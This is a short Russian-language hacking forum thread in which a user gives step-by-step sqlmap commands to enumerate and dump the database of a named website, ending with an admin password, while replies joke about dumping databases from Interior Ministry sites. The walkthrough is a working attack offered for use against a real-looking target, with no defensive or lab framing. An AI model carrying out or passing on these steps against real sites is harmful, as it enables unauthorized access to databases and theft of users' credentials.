SQL инъекция или как слить базу данных

[Hackeroleg]

С начала в терминале нужно написать sqlmap -u ссылка сайта например: http://ssy.org/detail.php?id=1 --dbs
вот так должно получиться в терминале sqlmap -u http://ssy.org/detail.php?id=1 --dbs

Дальше выбираем любое имя например laminat
в терминале должно получиться так
sqlmap -u http://ssy.org/detail.php?id=1 -D laminat --tables

дальше когда покажут таблицу выбираем любое название с таблицы и пишем в терминале команду
sqlmap -u http://ssy.org/detail.php?id=1 -D laminat -T название например: admin --columns

Дальше тоже самое выбираем из таблицы имя например: password
вот так должно получится в терминале
sqlmap -u http://ssy.org/detail.php?id=1 -D laminat -T admin -C password --dump
покажут пароль пользователя
name: admin password: 123456789

 

[kravl]

Спасибо, пошел выкачивать БД с сайтов МВД.

 

[madness143]

Спасибо, пошел выкачивать БД с сайтов МВД.

и с бутылкой потренируйся сразу xD

 

[Motoroller.Love]

Это дрочь настолько заезжена что даже я не Мотороллер